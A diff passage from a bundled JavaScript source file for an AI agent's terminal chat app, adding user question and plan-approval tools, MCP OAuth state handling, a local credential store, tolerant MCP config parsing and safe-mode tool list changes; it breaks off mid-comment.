const QUESTION_DESCRIPTION = "Ask the user one or more clarifying questions and pause until they answer. Batch related questions into a single call instead of asking one at a time — every call pauses the conversation. Each question carries a `type`: `text` (single line), `textarea` (multi-line), `select` (one of `choices`), or `confirm` (yes/no). Use sparingly: only when explicit user input materially changes the next steps.";
|
|
3895
|
+
function createPlanTool({ requestInteraction }) {
|
|
3896
|
+
return {
|
|
3897
|
+
spec: {
|
|
3898
|
+
name: PRESENT_PLAN_TOOL,
|
|
3899
|
+
description: PLAN_DESCRIPTION,
|
|
3900
|
+
inputSchema: {
|
|
3901
|
+
type: "object",
|
|
3902
|
+
properties: {
|
|
3903
|
+
title: {
|
|
3904
|
+
type: "string",
|
|
3905
|
+
description: "Short headline summary of the plan."
|
|
3906
|
+
},
|
|
3907
|
+
plan: {
|
|
3908
|
+
type: "string",
|
|
3909
|
+
description: "Full plan body, written as Markdown."
|
|
3910
|
+
},
|
|
3911
|
+
steps: {
|
|
3912
|
+
type: "array",
|
|
3913
|
+
description: "Optional structured step list. Each step has an `id`, `title`, and optional `description`.",
|
|
3914
|
+
items: {
|
|
3915
|
+
type: "object",
|
|
3916
|
+
properties: {
|
|
3917
|
+
id: { type: "string" },
|
|
3918
|
+
title: { type: "string" },
|
|
3919
|
+
description: { type: "string" }
|
|
3920
|
+
},
|
|
3921
|
+
required: ["id", "title"]
|
|
3922
|
+
}
|
|
3923
|
+
}
|
|
3924
|
+
},
|
|
3925
|
+
required: ["title", "plan"]
|
|
3926
|
+
}
|
|
3927
|
+
},
|
|
3928
|
+
async execute(input, ctx) {
|
|
3929
|
+
const payload = parsePlanPayload(input);
|
|
3930
|
+
if (!payload) throw new Error("present_plan: invalid input — expected non-empty `title` and `plan` strings.");
|
|
3931
|
+
const response = await requestInteraction({
|
|
3932
|
+
id: ctx.callId,
|
|
3933
|
+
kind: "plan",
|
|
3934
|
+
tool: PRESENT_PLAN_TOOL,
|
|
3935
|
+
payload,
|
|
3936
|
+
...ctx.runId ? { runId: ctx.runId } : {},
|
|
3937
|
+
turnId: ctx.turnId,
|
|
3938
|
+
createdAt: Date.now()
|
|
3939
|
+
});
|
|
3940
|
+
if (response.kind !== "plan") throw new Error(`present_plan: unexpected response kind "${response.kind}".`);
|
|
3941
|
+
return serializeInteractionResponse(response);
|
|
3942
|
+
}
|
|
3943
|
+
};
|
|
3944
|
+
}
|
|
3945
|
+
function createQuestionTool({ requestInteraction }) {
|
|
3946
|
+
return {
|
|
3947
|
+
spec: {
|
|
3948
|
+
name: ASK_USER_TOOL,
|
|
3949
|
+
description: QUESTION_DESCRIPTION,
|
|
3950
|
+
inputSchema: {
|
|
3951
|
+
type: "object",
|
|
3952
|
+
properties: {
|
|
3953
|
+
intro: {
|
|
3954
|
+
type: "string",
|
|
3955
|
+
description: "Optional context shown above the questions (Markdown)."
|
|
3956
|
+
},
|
|
3957
|
+
questions: {
|
|
3958
|
+
type: "array",
|
|
3959
|
+
description: "One or more questions for the user to answer in a single form.",
|
|
3960
|
+
minItems: 1,
|
|
3961
|
+
items: {
|
|
3962
|
+
type: "object",
|
|
3963
|
+
properties: {
|
|
3964
|
+
id: {
|
|
3965
|
+
type: "string",
|
|
3966
|
+
description: "Stable identifier — keys the answer back to the model."
|
|
3967
|
+
},
|
|
3968
|
+
prompt: {
|
|
3969
|
+
type: "string",
|
|
3970
|
+
description: "The question to display."
|
|
3971
|
+
},
|
|
3972
|
+
type: {
|
|
3973
|
+
type: "string",
|
|
3974
|
+
enum: [
|
|
3975
|
+
"text",
|
|
3976
|
+
"textarea",
|
|
3977
|
+
"select",
|
|
3978
|
+
"confirm"
|
|
3979
|
+
],
|
|
3980
|
+
description: "`text` = single line, `textarea` = multi-line, `select` = pick from `choices`, `confirm` = yes/no."
|
|
3981
|
+
},
|
|
3982
|
+
description: {
|
|
3983
|
+
type: "string",
|
|
3984
|
+
description: "Optional helper text shown under the prompt."
|
|
3985
|
+
},
|
|
3986
|
+
required: {
|
|
3987
|
+
type: "boolean",
|
|
3988
|
+
description: "Whether a non-empty answer is required."
|
|
3989
|
+
},
|
|
3990
|
+
placeholder: {
|
|
3991
|
+
type: "string",
|
|
3992
|
+
description: "For `text` / `textarea`: placeholder shown when the input is empty."
|
|
3993
|
+
},
|
|
3994
|
+
default: {
|
|
3995
|
+
type: "string",
|
|
3996
|
+
description: "For `text` / `textarea`: pre-fill the input with this value."
|
|
3997
|
+
},
|
|
3998
|
+
choices: {
|
|
3999
|
+
type: "array",
|
|
4000
|
+
description: "For `select`: the available choices. Required.",
|
|
4001
|
+
items: {
|
|
4002
|
+
type: "object",
|
|
4003
|
+
properties: {
|
|
4004
|
+
id: { type: "string" },
|
|
4005
|
+
label: { type: "string" },
|
|
4006
|
+
description: { type: "string" }
|
|
4007
|
+
},
|
|
4008
|
+
required: ["id", "label"]
|
|
4009
|
+
}
|
|
4010
|
+
},
|
|
4011
|
+
affirmLabel: {
|
|
4012
|
+
type: "string",
|
|
4013
|
+
description: "For `confirm`: label for the affirmative option. Default: `\"yes\"`."
|
|
4014
|
+
},
|
|
4015
|
+
denyLabel: {
|
|
4016
|
+
type: "string",
|
|
4017
|
+
description: "For `confirm`: label for the negative option. Default: `\"no\"`."
|
|
4018
|
+
}
|
|
4019
|
+
},
|
|
4020
|
+
required: [
|
|
4021
|
+
"id",
|
|
4022
|
+
"prompt",
|
|
4023
|
+
"type"
|
|
4024
|
+
]
|
|
4025
|
+
}
|
|
4026
|
+
}
|
|
4027
|
+
},
|
|
4028
|
+
required: ["questions"]
|
|
4029
|
+
}
|
|
4030
|
+
},
|
|
4031
|
+
async execute(input, ctx) {
|
|
4032
|
+
const payload = parseQuestionPayload(input);
|
|
4033
|
+
if (!payload) throw new Error("ask_user: invalid input — expected a non-empty `questions` array.");
|
|
4034
|
+
const response = await requestInteraction({
|
|
4035
|
+
id: ctx.callId,
|
|
4036
|
+
kind: "question",
|
|
4037
|
+
tool: ASK_USER_TOOL,
|
|
4038
|
+
payload,
|
|
4039
|
+
...ctx.runId ? { runId: ctx.runId } : {},
|
|
4040
|
+
turnId: ctx.turnId,
|
|
4041
|
+
createdAt: Date.now()
|
|
4042
|
+
});
|
|
4043
|
+
if (response.kind !== "question") throw new Error(`ask_user: unexpected response kind "${response.kind}".`);
|
|
4044
|
+
return serializeInteractionResponse(response);
|
|
4045
|
+
}
|
|
4046
|
+
};
|
|
4047
|
+
}
|
|
4048
|
+
const InteractionsQueueContext = createContext([]);
|
|
4049
|
+
const InteractionsActionsContext = createContext(null);
|
|
4050
|
+
function InteractionsProvider({ children }) {
|
|
4051
|
+
const [queue, setQueue] = useState([]);
|
|
4052
|
+
const enqueue = useCallback((entry) => {
|
|
4053
|
+
setQueue((prev) => [...prev, entry]);
|
|
4054
|
+
}, []);
|
|
4055
|
+
const resolveHead = useCallback((response) => {
|
|
4056
|
+
setQueue((prev) => {
|
|
4057
|
+
const [head, ...rest] = prev;
|
|
4058
|
+
if (head) head.resolve(response);
|
|
4059
|
+
return rest;
|
|
4060
|
+
});
|
|
4061
|
+
}, []);
|
|
4062
|
+
const cancelHead = useCallback((reason) => {
|
|
4063
|
+
setQueue((prev) => {
|
|
4064
|
+
const [head, ...rest] = prev;
|
|
4065
|
+
if (head) head.cancel(reason);
|
|
4066
|
+
return rest;
|
|
4067
|
+
});
|
|
4068
|
+
}, []);
|
|
4069
|
+
const cancelAll = useCallback((reason) => {
|
|
4070
|
+
setQueue((prev) => {
|
|
4071
|
+
for (const entry of prev) entry.cancel(reason);
|
|
4072
|
+
return [];
|
|
4073
|
+
});
|
|
4074
|
+
}, []);
|
|
4075
|
+
const actionsRef = useRef(null);
|
|
4076
|
+
if (!actionsRef.current) actionsRef.current = {
|
|
4077
|
+
enqueue,
|
|
4078
|
+
resolveHead,
|
|
4079
|
+
cancelHead,
|
|
4080
|
+
cancelAll
|
|
4081
|
+
};
|
|
4082
|
+
return /* @__PURE__ */ jsx(InteractionsActionsContext.Provider, {
|
|
4083
|
+
value: actionsRef.current,
|
|
4084
|
+
children: /* @__PURE__ */ jsx(InteractionsQueueContext.Provider, {
|
|
4085
|
+
value: queue,
|
|
4086
|
+
children
|
|
4087
|
+
})
|
|
4088
|
+
});
|
|
4089
|
+
}
|
|
4090
|
+
/** Read the live queue (re-renders on every push/pop). */
|
|
4091
|
+
function useInteractionsQueue() {
|
|
4092
|
+
return useContext(InteractionsQueueContext);
|
|
4093
|
+
}
|
|
4094
|
+
/** Read the stable actions object. */
|
|
4095
|
+
function useInteractionsActions() {
|
|
4096
|
+
const ctx = useContext(InteractionsActionsContext);
|
|
4097
|
+
if (!ctx) throw new Error("useInteractionsActions must be used inside <InteractionsProvider>");
|
|
4098
|
+
return ctx;
|
|
4099
|
+
}
|
|
4100
|
+
/**
|
|
4101
|
+
* Build the `requestInteraction` callback for `createInteractionTools` from
|
|
4102
|
+
* the React-side {@link InteractionsActions}. Each call adds a fresh entry
|
|
4103
|
+
* to the queue whose `resolve` / `cancel` route back to one Promise that
|
|
4104
|
+
* the tool's `execute` awaits.
|
|
4105
|
+
*/
|
|
4106
|
+
function makeRequestInteraction(actions) {
|
|
4107
|
+
return (request) => new Promise((resolve, reject) => {
|
|
4108
|
+
actions.enqueue({
|
|
4109
|
+
request,
|
|
4110
|
+
resolve,
|
|
4111
|
+
cancel: (reason) => reject(new Error(reason ?? "Interaction cancelled"))
|
|
4112
|
+
});
|
|
4113
|
+
});
|
|
4114
|
+
}
|
|
4115
|
+
//#endregion
|
|
4116
|
+
//#region src/chat/mcp-auth-state.ts
|
|
4117
|
+
/**
|
|
4118
|
+
* Apply one event to the state map. Pure, immutable — returns a new map
|
|
4119
|
+
* with only the affected key reassigned.
|
|
4120
|
+
*
|
|
4121
|
+
* State transitions are simple "last write wins"; we don't gate (e.g.) a
|
|
4122
|
+
* `login:start` from overriding `authorizing` because the loop layer
|
|
4123
|
+
* never doubles those up — interactive login is serialized in the TUI.
|
|
4124
|
+
*/
|
|
4125
|
+
function reduceMcpAuth(state, event) {
|
|
4126
|
+
const next = (status) => ({
|
|
4127
|
+
...state,
|
|
4128
|
+
[event.name]: status
|
|
4129
|
+
});
|
|
4130
|
+
switch (event.type) {
|
|
4131
|
+
case "auth-required": return next({
|
|
4132
|
+
kind: "needs-auth",
|
|
4133
|
+
reason: event.reason
|
|
4134
|
+
});
|
|
4135
|
+
case "auth-url": return next({
|
|
4136
|
+
kind: "authorizing",
|
|
4137
|
+
url: event.url
|
|
4138
|
+
});
|
|
4139
|
+
case "auth-success": return next({ kind: "authed" });
|
|
4140
|
+
case "auth-error": return next({
|
|
4141
|
+
kind: "error",
|
|
4142
|
+
error: event.error
|
|
4143
|
+
});
|
|
4144
|
+
case "connected":
|
|
4145
|
+
if (state[event.name]?.kind === "authorizing" || state[event.name]?.kind === "needs-auth" || state[event.name]?.kind === "authed") return next({ kind: "authed" });
|
|
4146
|
+
return state;
|
|
4147
|
+
case "login:start": return next({ kind: "authorizing" });
|
|
4148
|
+
case "login:cancel": return next({
|
|
4149
|
+
kind: "needs-auth",
|
|
4150
|
+
reason: "no-tokens"
|
|
4151
|
+
});
|
|
4152
|
+
case "logout":
|
|
4153
|
+
case "reset": {
|
|
4154
|
+
const { [event.name]: _, ...rest } = state;
|
|
4155
|
+
return rest;
|
|
4156
|
+
}
|
|
4157
|
+
}
|
|
4158
|
+
}
|
|
4159
|
+
/** Convenience getter — treats `undefined` as `idle`. */
|
|
4160
|
+
function getMcpAuthStatus(state, name) {
|
|
4161
|
+
return state[name] ?? { kind: "idle" };
|
|
4162
|
+
}
|
|
4163
|
+
//#endregion
|
|
4164
|
+
//#region src/chat/mcp-auth-context.tsx
|
|
4165
|
+
const StateContext = createContext({});
|
|
4166
|
+
const DispatchContext = createContext(null);
|
|
4167
|
+
/**
|
|
4168
|
+
* Mount once near the top of the React tree (above `ModalRoot`). Children
|
|
4169
|
+
* use `useMcpAuthState()` to read and `useMcpAuthDispatch()` to fire events.
|
|
4170
|
+
*/
|
|
4171
|
+
function McpAuthProvider({ children }) {
|
|
4172
|
+
const [state, setState] = useState({});
|
|
4173
|
+
const dispatch = useCallback((event) => {
|
|
4174
|
+
setState((prev) => reduceMcpAuth(prev, event));
|
|
4175
|
+
}, []);
|
|
4176
|
+
return /* @__PURE__ */ jsx$1(StateContext.Provider, {
|
|
4177
|
+
value: state,
|
|
4178
|
+
children: /* @__PURE__ */ jsx$1(DispatchContext.Provider, {
|
|
4179
|
+
value: dispatch,
|
|
4180
|
+
children
|
|
4181
|
+
})
|
|
4182
|
+
});
|
|
4183
|
+
}
|
|
4184
|
+
function useMcpAuthState() {
|
|
4185
|
+
return useContext(StateContext);
|
|
4186
|
+
}
|
|
4187
|
+
function useMcpAuthDispatch() {
|
|
4188
|
+
const dispatch = useContext(DispatchContext);
|
|
4189
|
+
if (!dispatch) throw new Error("useMcpAuthDispatch must be used inside <McpAuthProvider>");
|
|
4190
|
+
return dispatch;
|
|
4191
|
+
}
|
|
4192
|
+
//#endregion
|
|
4193
|
+
//#region src/chat/mcp-credentials.ts
|
|
4194
|
+
const FILE_MODE = 384;
|
|
4195
|
+
function mcpCredentialsPath(dataDir) {
|
|
4196
|
+
return resolve(dataDir, "mcp-credentials.json");
|
|
4197
|
+
}
|
|
4198
|
+
function readAll(dataDir) {
|
|
4199
|
+
const path = mcpCredentialsPath(dataDir);
|
|
4200
|
+
if (!existsSync(path)) return {};
|
|
4201
|
+
try {
|
|
4202
|
+
const raw = readFileSync(path, "utf-8");
|
|
4203
|
+
const parsed = JSON.parse(raw);
|
|
4204
|
+
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return {};
|
|
4205
|
+
return parsed;
|
|
4206
|
+
} catch {
|
|
4207
|
+
return {};
|
|
4208
|
+
}
|
|
4209
|
+
}
|
|
4210
|
+
function writeAll(dataDir, all) {
|
|
4211
|
+
const path = mcpCredentialsPath(dataDir);
|
|
4212
|
+
mkdirSync(dirname(path), { recursive: true });
|
|
4213
|
+
const tmp = `${path}.${process.pid}.${Date.now()}.tmp`;
|
|
4214
|
+
writeFileSync(tmp, `${JSON.stringify(all, null, 2)}\n`, { mode: FILE_MODE });
|
|
4215
|
+
renameSync(tmp, path);
|
|
4216
|
+
}
|
|
4217
|
+
/**
|
|
4218
|
+
* Build a file-backed `McpCredentialStore`. All per-server reads / writes
|
|
4219
|
+
* funnel through the single `mcp-credentials.json` file — this keeps
|
|
4220
|
+
* concurrent flows for different servers from clobbering each other since
|
|
4221
|
+
* each save reads-modifies-writes the full file atomically.
|
|
4222
|
+
*
|
|
4223
|
+
* Two flows for the same server name CAN race (last write wins). MCP OAuth
|
|
4224
|
+
* flows are user-driven and serial in practice (one login modal at a time),
|
|
4225
|
+
* so this is acceptable; a per-server file split + cross-process lock would
|
|
4226
|
+
* be required to handle a multi-process scenario.
|
|
4227
|
+
*/
|
|
4228
|
+
function createFileMcpCredentialStore(dataDir) {
|
|
4229
|
+
return {
|
|
4230
|
+
load(name) {
|
|
4231
|
+
return readAll(dataDir)[name];
|
|
4232
|
+
},
|
|
4233
|
+
save(name, entry) {
|
|
4234
|
+
const all = readAll(dataDir);
|
|
4235
|
+
all[name] = entry;
|
|
4236
|
+
writeAll(dataDir, all);
|
|
4237
|
+
},
|
|
4238
|
+
delete(name) {
|
|
4239
|
+
const all = readAll(dataDir);
|
|
4240
|
+
if (!(name in all)) return;
|
|
4241
|
+
delete all[name];
|
|
4242
|
+
writeAll(dataDir, all);
|
|
4243
|
+
}
|
|
4244
|
+
};
|
|
4245
|
+
}
|
|
4246
|
+
/**
|
|
4247
|
+
* Convenience patches for individual sub-fields. The provider class uses
|
|
4248
|
+
* these so a `saveTokens` call doesn't have to round-trip `clientInformation`
|
|
4249
|
+
* + `discoveryState` it never touched.
|
|
4250
|
+
*/
|
|
4251
|
+
function patchMcpCredential(store, name, patch) {
|
|
4252
|
+
const existing = store.load(name) ?? {};
|
|
4253
|
+
store.save(name, {
|
|
4254
|
+
...existing,
|
|
4255
|
+
...patch
|
|
4256
|
+
});
|
|
4257
|
+
}
|
|
4258
|
+
//#endregion
|
|
2486
4259
|
//#region src/chat/project-user-paths.ts
|
|
2487
4260
|
/**
|
|
2488
4261
|
* Shared search-path builder for project + user config discovery.
|
|
@@ -2548,58 +4321,173 @@ function defaultMcpsConfigPaths(opts = {}) {
|
|
|
2548
4321
|
});
|
|
2549
4322
|
}
|
|
2550
4323
|
/**
|
|
2551
|
-
* Parse one `mcps.json` file.
|
|
2552
|
-
*
|
|
2553
|
-
*
|
|
2554
|
-
*
|
|
2555
|
-
*
|
|
2556
|
-
*
|
|
2557
|
-
*
|
|
2558
|
-
*
|
|
4324
|
+
* Parse one `mcps.json` file. Canonical zidane shape is a flat array; the
|
|
4325
|
+
* other shapes exist for copy-paste from neighboring tools:
|
|
4326
|
+
*
|
|
4327
|
+
* - `McpServerConfig[]` — flat array (recommended).
|
|
4328
|
+
* - `{ name: {...} }` — name-keyed map.
|
|
4329
|
+
* - `{ "mcpServers": { name: {...} } }` — Claude Desktop / Claude Code /
|
|
4330
|
+
* Cursor wrapper. Unwrapped before normalization (otherwise
|
|
4331
|
+
* `normalizeMcpServers` would treat the whole wrapper as a single server).
|
|
4332
|
+
*
|
|
4333
|
+
* Per-entry `enabled: false` (Cursor runtime state) drops the entry — same
|
|
4334
|
+
* intent as the source tool. Use the TUI toggle list for "show but disabled".
|
|
4335
|
+
*
|
|
4336
|
+
* Tolerant to common copy-paste artifacts: when strict `JSON.parse` fails,
|
|
4337
|
+
* retries after normalizing invisible whitespace that's valid Unicode but
|
|
4338
|
+
* not valid JSON whitespace (BOM, NBSP, zero-width spaces, line/paragraph
|
|
4339
|
+
* separators) — only OUTSIDE string literals, so user data isn't mutated.
|
|
4340
|
+
* If the sanitized version still fails, throws the original error with a
|
|
4341
|
+
* targeted hint when NBSPs are present.
|
|
2559
4342
|
*
|
|
2560
4343
|
* Validation flows through `normalizeMcpServers` so the result matches
|
|
2561
|
-
* what `createAgent` accepts. Throws on malformed JSON; the caller
|
|
2562
|
-
* whether to surface or swallow.
|
|
4344
|
+
* what `createAgent` accepts. Throws on truly malformed JSON; the caller
|
|
4345
|
+
* decides whether to surface or swallow.
|
|
2563
4346
|
*/
|
|
2564
4347
|
function parseMcpsFile(text) {
|
|
2565
|
-
|
|
2566
|
-
|
|
4348
|
+
let raw;
|
|
4349
|
+
try {
|
|
4350
|
+
raw = JSON.parse(text);
|
|
4351
|
+
} catch (firstErr) {
|
|
4352
|
+
const sanitized = sanitizeJsonWhitespace(text);
|
|
4353
|
+
if (!sanitized.changed) throw firstErr;
|
|
4354
|
+
try {
|
|
4355
|
+
raw = JSON.parse(sanitized.text);
|
|
4356
|
+
} catch {
|
|
4357
|
+
throw enhanceJsonError(firstErr, text);
|
|
4358
|
+
}
|
|
4359
|
+
}
|
|
4360
|
+
return normalizeMcpServers(dropDisabledEntries(raw && typeof raw === "object" && !Array.isArray(raw) && "mcpServers" in raw ? raw.mcpServers : raw));
|
|
4361
|
+
}
|
|
4362
|
+
/**
|
|
4363
|
+
* Code points that are valid Unicode whitespace but NOT valid JSON whitespace.
|
|
4364
|
+
* Copy-paste from rich-text contexts (markdown editors, chat UIs, web pages)
|
|
4365
|
+
* frequently slips these in:
|
|
4366
|
+
*
|
|
4367
|
+
* - `\uFEFF` BOM — sometimes prepended by Windows editors.
|
|
4368
|
+
* - `\u00A0` NBSP — markdown/HTML smart-replace common culprit.
|
|
4369
|
+
* - `\u200B`-`\u200D` zero-width family — often invisible in editors.
|
|
4370
|
+
* - `\u2028` / `\u2029` line/paragraph separators — valid in JS strings
|
|
4371
|
+
* pre-ES2019 but never in strict JSON.
|
|
4372
|
+
* - `\u2060` word joiner.
|
|
4373
|
+
*
|
|
4374
|
+
* Replace with ASCII space (zero-width chars are removed; the others become
|
|
4375
|
+
* a single space). Replacements happen ONLY outside string literals so a
|
|
4376
|
+
* user's intentional NBSP inside a `url` or display name is left alone.
|
|
4377
|
+
*/
|
|
4378
|
+
const PROBLEMATIC_WHITESPACE = new Set([
|
|
4379
|
+
65279,
|
|
4380
|
+
160,
|
|
4381
|
+
8203,
|
|
4382
|
+
8204,
|
|
4383
|
+
8205,
|
|
4384
|
+
8232,
|
|
4385
|
+
8233,
|
|
4386
|
+
8288
|
|
4387
|
+
]);
|
|
4388
|
+
function sanitizeJsonWhitespace(text) {
|
|
4389
|
+
let changed = false;
|
|
4390
|
+
let inString = false;
|
|
4391
|
+
let escaped = false;
|
|
4392
|
+
const out = [];
|
|
4393
|
+
for (let i = 0; i < text.length; i++) {
|
|
4394
|
+
const ch = text[i];
|
|
4395
|
+
if (inString) {
|
|
4396
|
+
out.push(ch);
|
|
4397
|
+
if (escaped) escaped = false;
|
|
4398
|
+
else if (ch === "\\") escaped = true;
|
|
4399
|
+
else if (ch === "\"") inString = false;
|
|
4400
|
+
continue;
|
|
4401
|
+
}
|
|
4402
|
+
if (ch === "\"") {
|
|
4403
|
+
inString = true;
|
|
4404
|
+
out.push(ch);
|
|
4405
|
+
continue;
|
|
4406
|
+
}
|
|
4407
|
+
const code = ch.charCodeAt(0);
|
|
4408
|
+
if (PROBLEMATIC_WHITESPACE.has(code)) {
|
|
4409
|
+
changed = true;
|
|
4410
|
+
if (code === 160 || code === 8232 || code === 8233) out.push(" ");
|
|
4411
|
+
continue;
|
|
4412
|
+
}
|
|
4413
|
+
out.push(ch);
|
|
4414
|
+
}
|
|
4415
|
+
return {
|
|
4416
|
+
text: out.join(""),
|
|
4417
|
+
changed
|
|
4418
|
+
};
|
|
4419
|
+
}
|
|
4420
|
+
function enhanceJsonError(err, text) {
|
|
4421
|
+
const orig = err instanceof Error ? err : new Error(String(err));
|
|
4422
|
+
const hints = [];
|
|
4423
|
+
if (text.includes("\xA0")) hints.push("the file contains non-breaking spaces (U+00A0), likely a copy-paste artifact — replace them with regular spaces");
|
|
4424
|
+
if (text.charCodeAt(0) === 65279) hints.push("the file starts with a BOM (U+FEFF), which strict JSON.parse rejects");
|
|
4425
|
+
if (hints.length === 0) return orig;
|
|
4426
|
+
return /* @__PURE__ */ new Error(`${orig.message} — ${hints.join("; ")}`);
|
|
4427
|
+
}
|
|
4428
|
+
/**
|
|
4429
|
+
* Strip `enabled: false` entries before normalization — same intent as the
|
|
4430
|
+
* source tool that wrote them (Cursor flips this when the user toggles a
|
|
4431
|
+
* server off in its UI). One pass over array OR map shape, O(N).
|
|
4432
|
+
*
|
|
4433
|
+
* Done pre-normalize so we don't have to teach `normalizeMcpServers` about
|
|
4434
|
+
* the flag — the canonical `McpServerConfig` has no `enabled` field.
|
|
4435
|
+
*/
|
|
4436
|
+
function dropDisabledEntries(target) {
|
|
4437
|
+
if (Array.isArray(target)) return target.filter((e) => !isEntryDisabled(e));
|
|
4438
|
+
if (target && typeof target === "object") {
|
|
4439
|
+
const filtered = {};
|
|
4440
|
+
for (const [name, entry] of Object.entries(target)) if (!isEntryDisabled(entry)) filtered[name] = entry;
|
|
4441
|
+
return filtered;
|
|
4442
|
+
}
|
|
4443
|
+
return target;
|
|
4444
|
+
}
|
|
4445
|
+
function isEntryDisabled(entry) {
|
|
4446
|
+
return !!entry && typeof entry === "object" && entry.enabled === false;
|
|
2567
4447
|
}
|
|
2568
4448
|
/**
|
|
2569
4449
|
* Walk the default config paths, parse every file that exists, and return
|
|
2570
|
-
* `
|
|
4450
|
+
* `{ servers, errors }` in source-priority order. Project entries appear
|
|
2571
4451
|
* before user entries; first occurrence of a `name` wins (later
|
|
2572
4452
|
* duplicates dropped).
|
|
2573
4453
|
*
|
|
2574
|
-
* Parse
|
|
2575
|
-
*
|
|
4454
|
+
* Parse failures are captured into `errors` rather than thrown — the picker
|
|
4455
|
+
* surfaces them while still showing whatever DID parse. A `ZIDANE_DEBUG`
|
|
4456
|
+
* log line is also emitted for ops visibility.
|
|
2576
4457
|
*/
|
|
2577
4458
|
function discoverProjectMcps(opts = {}) {
|
|
2578
4459
|
const paths = defaultMcpsConfigPaths(opts).filter((p) => existsSync(p.path));
|
|
2579
4460
|
const seen = /* @__PURE__ */ new Set();
|
|
2580
|
-
const
|
|
4461
|
+
const servers = [];
|
|
4462
|
+
const errors = [];
|
|
2581
4463
|
for (const { path, source } of paths) {
|
|
2582
4464
|
let configs;
|
|
2583
4465
|
try {
|
|
2584
4466
|
configs = parseMcpsFile(readFileSync(path, "utf8"));
|
|
2585
4467
|
} catch (err) {
|
|
2586
|
-
|
|
2587
|
-
|
|
2588
|
-
|
|
2589
|
-
|
|
4468
|
+
const message = err instanceof Error ? err.message : String(err);
|
|
4469
|
+
errors.push({
|
|
4470
|
+
path,
|
|
4471
|
+
source,
|
|
4472
|
+
message
|
|
4473
|
+
});
|
|
4474
|
+
if (process.env.ZIDANE_DEBUG) process.stderr.write(`[zidane/chat] failed to parse "${path}": ${message}\n`);
|
|
2590
4475
|
continue;
|
|
2591
4476
|
}
|
|
2592
4477
|
for (const config of configs) {
|
|
2593
4478
|
if (seen.has(config.name)) continue;
|
|
2594
4479
|
seen.add(config.name);
|
|
2595
|
-
|
|
4480
|
+
servers.push({
|
|
2596
4481
|
config,
|
|
2597
4482
|
source,
|
|
2598
4483
|
path
|
|
2599
4484
|
});
|
|
2600
4485
|
}
|
|
2601
4486
|
}
|
|
2602
|
-
return
|
|
4487
|
+
return {
|
|
4488
|
+
servers,
|
|
4489
|
+
errors
|
|
4490
|
+
};
|
|
2603
4491
|
}
|
|
2604
4492
|
/**
|
|
2605
4493
|
* Map a user-toggled enable list onto the `mcpServers` array the agent
|
|
@@ -2720,37 +4608,6 @@ async function runOAuthLogin(descriptor, options) {
|
|
|
2720
4608
|
};
|
|
2721
4609
|
return descriptor.oauthProvider.login(callbacks);
|
|
2722
4610
|
}
|
|
2723
|
-
/**
|
|
2724
|
-
* Best-effort cross-platform browser open. macOS uses `open`, Linux uses
|
|
2725
|
-
* `xdg-open`, Windows uses `start`. Failures are swallowed — the callback
|
|
2726
|
-
* server is already listening, and the URL is displayed in the TUI for
|
|
2727
|
-
* manual click.
|
|
2728
|
-
*
|
|
2729
|
-
* Uses `spawn` (not `exec`) so the URL is passed as an argv element rather
|
|
2730
|
-
* than interpolated into a shell command — no need to think about quoting
|
|
2731
|
-
* URLs that contain `&`, `?`, `"` or other shell metacharacters.
|
|
2732
|
-
*/
|
|
2733
|
-
function tryOpenBrowser(url) {
|
|
2734
|
-
const [cmd, ...args] = (() => {
|
|
2735
|
-
if (process.platform === "darwin") return ["open", url];
|
|
2736
|
-
if (process.platform === "win32") return [
|
|
2737
|
-
"cmd",
|
|
2738
|
-
"/c",
|
|
2739
|
-
"start",
|
|
2740
|
-
"",
|
|
2741
|
-
url
|
|
2742
|
-
];
|
|
2743
|
-
return ["xdg-open", url];
|
|
2744
|
-
})();
|
|
2745
|
-
try {
|
|
2746
|
-
const child = spawn(cmd, args, {
|
|
2747
|
-
stdio: "ignore",
|
|
2748
|
-
detached: true
|
|
2749
|
-
});
|
|
2750
|
-
child.on("error", () => {});
|
|
2751
|
-
child.unref();
|
|
2752
|
-
} catch {}
|
|
2753
|
-
}
|
|
2754
4611
|
//#endregion
|
|
2755
4612
|
//#region src/chat/prompt-segments.ts
|
|
2756
4613
|
/**
|
|
@@ -2875,15 +4732,25 @@ function getSafelist(dataDir, projectDir) {
|
|
|
2875
4732
|
return readProjects(dataDir)[projectDir]?.safelist ?? [];
|
|
2876
4733
|
}
|
|
2877
4734
|
/**
|
|
2878
|
-
* Tools that always pass without prompting
|
|
2879
|
-
*
|
|
4735
|
+
* Tools that always pass without prompting. Two categories:
|
|
4736
|
+
*
|
|
4737
|
+
* - **Pure reads** (`read_file`, `list_files`, `glob`, `grep`) — no
|
|
4738
|
+
* side effects on disk or the model's own state.
|
|
4739
|
+
* - **Interaction tools** (`ask_user`, `present_plan`) — the call
|
|
4740
|
+
* itself surfaces a TUI picker the user has to answer, so prompting
|
|
4741
|
+
* for approval first would mean "approve this prompt before you see
|
|
4742
|
+
* the prompt": redundant + breaks the flow. The picker IS the gate.
|
|
4743
|
+
*
|
|
4744
|
+
* Users who want to gate any of these must disable safe-mode entirely
|
|
2880
4745
|
* (or fork this list in their own embedding).
|
|
2881
4746
|
*/
|
|
2882
4747
|
const IMPLICITLY_SAFE_TOOLS = [
|
|
2883
4748
|
"read_file",
|
|
2884
4749
|
"list_files",
|
|
2885
4750
|
"glob",
|
|
2886
|
-
"grep"
|
|
4751
|
+
"grep",
|
|
4752
|
+
"ask_user",
|
|
4753
|
+
"present_plan"
|
|
2887
4754
|
];
|
|
2888
4755
|
/** Common input keys carrying the "primary argument" we scope safelists on. */
|
|
2889
4756
|
const PRIMARY_ARG_KEYS = [
|
|
@@ -2899,43 +4766,74 @@ function primaryArgValue(input) {
|
|
|
2899
4766
|
}
|
|
2900
4767
|
return "";
|
|
2901
4768
|
}
|
|
2902
|
-
/**
|
|
4769
|
+
/**
|
|
4770
|
+
* Extract the first whitespace-delimited token of the primary arg.
|
|
4771
|
+
* Leading whitespace is trimmed first so `" git status"` tokenizes to
|
|
4772
|
+
* `"git"`, not `""` (an empty first element from `.split(/\s+/)`).
|
|
4773
|
+
*/
|
|
2903
4774
|
function primaryArgToken(input) {
|
|
2904
|
-
return primaryArgValue(input).split(/\s+/)[0] ?? "";
|
|
4775
|
+
return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
|
|
2905
4776
|
}
|
|
2906
4777
|
/**
|
|
2907
|
-
* Shell
|
|
2908
|
-
*
|
|
2909
|
-
*
|
|
2910
|
-
*
|
|
2911
|
-
*
|
|
4778
|
+
* Shell features that introduce a SECOND, UNRELATED command into the
|
|
4779
|
+
